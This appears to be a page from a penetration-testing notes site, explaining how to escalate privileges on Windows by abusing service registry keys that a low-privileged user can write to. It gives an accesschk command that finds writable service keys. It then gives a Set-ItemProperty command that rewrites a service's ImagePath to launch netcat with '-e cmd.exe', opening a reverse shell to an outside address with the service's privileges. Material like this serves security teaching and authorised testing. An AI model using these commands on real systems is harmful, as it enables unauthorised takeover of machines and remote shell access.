> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/windows/windows-privilege-escalation/weak-permissions/permissive-registry-acls.md).

# Permissive Registry ACLs

Some Windows services store their configuration under `HKLM:\SYSTEM\CurrentControlSet\Services\<service>`. If a low-privileged user can modify one of these registry keys, they may be able to change how the service starts and execute a command in the service's security context.

Here's a simple example - first, identify service registry keys a target user can write to. Then, if the service's `ImagePath` value is modifiable, point it to a command you control and wait for the service to start or restart.

{% code title="Query groups with access to the registry key" %}

```bat
accesschk.exe /accepteula "appuser" -kvuqsw hklm\System\CurrentControlSet\services
```

{% endcode %}

{% code title="Take advantage of the ImagePath of a modifiable registry key to run a command" overflow="wrap" %}

```bat
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\demo-user\Downloads\nc.exe -e cmd.exe 192.0.2.10 443"
```

{% endcode %}